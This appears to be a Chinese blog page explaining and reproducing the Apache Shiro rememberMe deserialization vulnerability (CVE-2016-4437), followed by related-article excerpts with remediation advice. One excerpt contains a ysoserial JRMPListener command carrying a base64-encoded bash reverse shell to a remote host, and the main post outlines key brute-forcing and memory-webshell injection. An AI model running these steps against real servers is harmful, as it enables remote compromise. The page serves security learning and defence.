Shiro反序列化

最新推荐文章于 2025-06-12 13:58:37 发布
最新推荐文章于 2025-06-12 13:58:37 发布
阅读量180 收藏
点赞数
分类专栏： 网络安全-渗透篇 文章标签： web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Massimo__JAVA/article/details/131641923
版权

一、介绍

Shiro是一套用于执行认证、授权、加密和会话管理的Java安全框架。

二、漏洞原理

AES加密的密钥key被硬编码在代码里，攻击者就可以构造一个恶意的对象，并对其序列化，AES加密，base64编码，作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化，最终造成反序列化漏洞。

三、复现

CVE-2016-4437

启动环境
在这里插入图片描述
访问
在这里插入图片描述爆破密钥
在这里插入图片描述爆破利用链及回显
在这里插入图片描述命令执行
在这里插入图片描述注入内存马
在这里插入图片描述用哥斯拉连接即可

shiro反序列化
aixioxiaoxaio的博客
07-20 7690
shiro反序列化 首先呢，我们要了解shiro反序列化是什么。 Apache Shiro是一个Java安全框架，执行身份验证、授权、密码和会话管理。2016年，网络中曝光1.2.4以前的版本存在反序列化漏洞。 漏洞原理 Apache Shiro框架提供了一个记住我的功能，这个功能在用户登录成功之后，会生成一个加密后的cookie。其中记住我的RememberMe就是cookie中的key。cookie的值是对相关信息进过序列化，再进行aes加密，再使用base64编码之后形成的。 服务端接收cookie值
shiro反序列化分析
2301_79724395的博客
06-11 1728
Apache Shiro 是一个 Java 安全框架，包括如下功能和特性：Authentication：身份认证/登陆，验证用户是不是拥有相应的身份。在 Shiro 中，所有的操作都是基于当前正在执行的用户，这里称之为一个 Subject，在用户任意代码位置都可以轻易取到这个Subject。
PHP、JAVA、Shiro反序列化
myrouya的博客
05-20 943
与 Shiro-550 类似，Shiro-721 漏洞也涉及到 RememberMe 功能，但它的 AES 加密密钥通常是随机生成的，不容易被猜测。而漏洞就是出现在这里，我们都知道AES它是一个硬编码，他是有默认密钥的，如果程序员没有去修改或者过于简单，那我们就可以进行cookie重构，先构造我们的恶意代码，然后将恶意代码进行序列化，然后AES加密(密钥我们已经爆破出来了)再进行base64编码，形成我们新的cookie，而服务器在处理时就会按照刚才的处理流程，就会在服务端触发我们构造的恶意代码。
Java 反序列化和 Shiro 反序列化
m0_57836225的博客
10-10 459
在这篇博客中，我们将深入探讨 Java 反序列化和 Shiro 反序列化的概念及过程。
shiro反序列化总结
qq_31812157的博客
03-11 934
但由于request的inputbuffer会复用，所以在修改完maxHeaderSize之后，需要多个连接同时访问（burp开多线程跑），让tomcat新建request的inputbuffer，这时候的buffer的大小就会使用修改后的值。这里附上poc，使用方法和上面相同，还是对class进行base64编码，放到cc2中生成序列化文件，如果有用过天下大木头师傅的文件的，这个文件和他有点小区别，我们可以把这个类进行类加载，因此cc2，cc3，cc4都是可以用这个类，因为他们是调用了。
Shiro反序列化550漏洞复现
故事讲予风听
07-05 1625
Shiro 是一个强大且易于使用的 Java 安全框架，用于身份验证、授权和会话管理等功能。它提供了一套灵活的基于角色的访问控制（RBAC）机制，可以轻松地集成到现有的 Java 应用程序中。影响版本原理shiro默认使用了Cookie RememberMe Manager，其处理cookie的流程是：得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。shiro的身份认证工作流程。
Java Shiro反序列化CommonsCollections利用链分析
qq_44192006的博客
04-24 982
本文主要分析CC1利用链，先介绍了复现环境的搭建（该小节尽量帮大家避避坑，呜呜呜）；然后紧跟着讲解了java反序列化和php反序列化漏洞的区别（希望大家不要有惯性思维认为反序列化漏洞都一样，其实java反序列化和php反序列化的差别还是很大的并介绍了复现学习java反序列化漏洞所需的一些前置知识；最后，也是文章的主体部分，从Sink（即可以触发执行命令的方法等）、chain及source（即利用链的入口点）三个步骤，讲述利用链的构建。纸上得来终觉浅，绝知此事要躬行。
JAVA安全—Shiro反序列化&DNS利用链&CC利用链&AES动态调试
2301_76227305的博客
02-12 1057
目前主流公开的利用链都进行了分析，后续如果有其它的链条，再慢慢分析吧。最后，以上仅为个人的拙见，如何有不对的地方，欢迎各位师傅指正与补充，有兴趣的师傅可以一起交流学习。
shiro反序列化利用工具-ShiroAttack2(一)
SuperherRo的博客
08-10 1744
shiro反序列化漏洞综合利用,包含（回显执行命令/注入内存马）修复原版中NoCC的问题
Java代码审计&Shiro反序列化&DNS利用链&CC利用链&AES动态调试
qq_46081990的博客
01-20 1466
本文首先介绍了Java原生反序列化及其漏洞产生的原因，然后以代码审计的角度深入分析了Shiro550生成及验证RememberMe Cookie的流程，总结了Shiro550反序列化漏洞产生的根本原因，测试了URLDNS链，最后提出了一些思考
shiro反序列化工具，加强版
12-27
在"shiro反序列化工具，加强版"这个主题中，我们主要关注的是Shiro框架中可能存在的反序列化漏洞以及如何利用和防范这些漏洞。 反序列化漏洞是由于程序在接收到网络传输的数据后，将其从二进制流恢复为对象时没有...
ShiroExp-1.3.1-all.jar shiro反序列化检测工具
01-12
ShiroExp-1.3.1-all.jar shiro反序列化检测工具 我这里是用于搭建攻防演练演示环境用
shiro反序列化脚本.zip
07-28
标题 "shiro反序列化脚本.zip" 指向的是一个与Apache Shiro安全框架相关的反序列化漏洞利用工具。Apache Shiro是一款广泛使用的Java安全框架，它提供了身份验证、授权、会话管理和加密等功能。然而，在某些版本中，...
shiro反序列化复现.zip
08-03
"shiro反序列化复现.zip"这个压缩包很可能是为了帮助开发者或者安全研究人员理解并重现Apache Shiro中的反序列化漏洞。 反序列化漏洞通常发生在程序接收来自不可信源的序列化对象时，如果这个对象包含了恶意构造的...
网络安全之框架安全漏洞分析
anquan2233的博客
06-11 962
Struts2 是一个基于 MVC（Model-View-Controller）设计模式的 Web 应用框架，本质上可以看作是对 Servlet 的高级封装。在 MVC 架构中，Struts2 作为控制器（Controller）负责接收用户请求，并协调模型（Model）与视图（View）之间的数据交互。Struts2 是 Struts 的下一代产品，它融合了 Struts 1 和 WebWork 的技术优势，重构并推出了全新的框架架构。
守护数字世界：网络安全核心技术与实践策略
Thanks_ks 的嵌入式代码熔炉：炼出 STM32 到 RTOS 的极致效能！
06-10 817
本文剖析网络安全常见威胁如恶意软件、网络钓鱼等，详述加密、防火墙等核心技术，给出建立安全策略等实践策略，展望人工智能、物联网安全等未来趋势，助读者全面了解网络安全，提升防护能力与文件查找效率。
【网络安全】SRC漏洞挖掘思路/手法分享
等风来
06-03 813
本文总结了多个实用的渗透测试技巧，涵盖接口安全、权限管理、数据泄露等多个方面。主要包括：主机URL复制差异、GET请求并发实现、密码明文获取方法、文件上传黑名单绕过、优惠券逻辑漏洞测试、用户信息越权访问、多重参数修改越权、复杂ID收集技巧、参数删除实现越权、权限管理参数空值测试、Cookie参数越权、Host头修改越权、并发测试场景、HTTP方法滥用、前端限制绕过、分隔符注入攻击、脏数据绕过频率限制、数组参数篡改以及邀请权限提升漏洞等
《网络安全与防护》知识点复习
最新发布
wxy的博客
06-12 1386
《网络安全与防护》知识点复习
网络安全之防病毒系统
anquan2233的博客
06-11 543
只要是继承了MyController都需要session但是后面有几个不需要鉴权的Controller除了MyController还有一个ApiController，此控制器下都是不需要鉴权的问题点用户注册来看用户相关的控制器UserController,前面的几个方法开头都需要获取session中的username或者eid，这些都不是我们可以利用的点往后看找到regUserAction方法，直接从request中获取了我们传入的参数进行解密。
shiro 反序列化
04-02
### Apache Shiro 反序列化漏洞原理 Apache Shiro 是一个功能强大的 Java 安全框架，用于处理身份验证、授权、加密以及会话管理等功能。然而，在某些版本中存在反序列化漏洞，这可能导致远程代码执行 (RCE) 攻击。 #### 漏洞产生的原因 Shiro 的 `rememberMe` 功能允许用户通过保存的 cookie 自动登录系统。此功能依赖于序列化和反序列化机制存储用户的会话信息。如果攻击者能够控制输入并提供恶意序列化的对象，则可能触发反序列化漏洞[^1]。具体来说： - **默认密钥问题**：Shiro 使用了一个固定的默认密钥 (` rememberMe` 密钥为 `"AES"` 或其他硬编码值)，使得攻击者可以轻松预测密钥并伪造有效的会话令牌。 - **不安全的反序列化实现**：在早期版本中，Shiro 对传入的数据未进行充分校验，从而允许攻击者注入恶意的对象结构。 --- ### 修复方案 为了有效缓解这一安全隐患，以下是两种推荐的修复措施： #### 方案一：升级到最新版本 确保使用的 Shiro 版本是最新的稳定版（如当前最新的 1.7.x）。新版本修复了已知的安全缺陷，并引入了许多增强的安全特性。例如，自 1.5.0 起，默认情况下禁用了基于 JSP 的视图解析器，减少了潜在风险。 #### 方案二：修改 RememberMe 默认密钥 即使升级到了较新的版本，仍需关注 `rememberMe` 功能中的密钥安全性。可以通过以下方式加强防护： - 配置唯一的随机密钥替代默认值； - 将密钥设置为复杂字符串，并严格保密以防泄露[^5]。 示例配置如下所示： ```properties securityManager.rememberMeManager.cipherKey=Base64EncodedRandomStringHere== ``` 此外，还可以启用 HTTPS 加密传输层协议保护敏感数据免受中间人劫持攻击的影响。 --- ### 实战案例分析 在网络渗透测试场景下，利用此类漏洞通常涉及以下几个环节[^2]: 1. 找寻目标服务端暴露的服务接口或者 URL 地址； 2. 利用工具生成特定 payload 并发送给服务器； 3. 成功获取 shell 后进一步探索内部网络环境。 一种常见的利用手法是借助第三方库 YSOserial 构建恶意负载并通过 JRMPListener 工具监听连接请求完成交互过程[^4]: ```bash java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8xMDk5IDA+JjE=}|{base64,-d}|{bash,-i}" ``` 上述命令创建了一个等待客户端连接的 RMI Server ，一旦受害主机尝试访问它就会被执行指定的操作指令。 --- ### 总结 综上所述，针对 Apache Shiro 中存在的反序列化漏洞应采取综合手段加以防范。除了及时更新软件外还需重视个性化参数调整工作比如更改默认 key 等操作以提高整体系统的健壮性和抗攻击能力。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值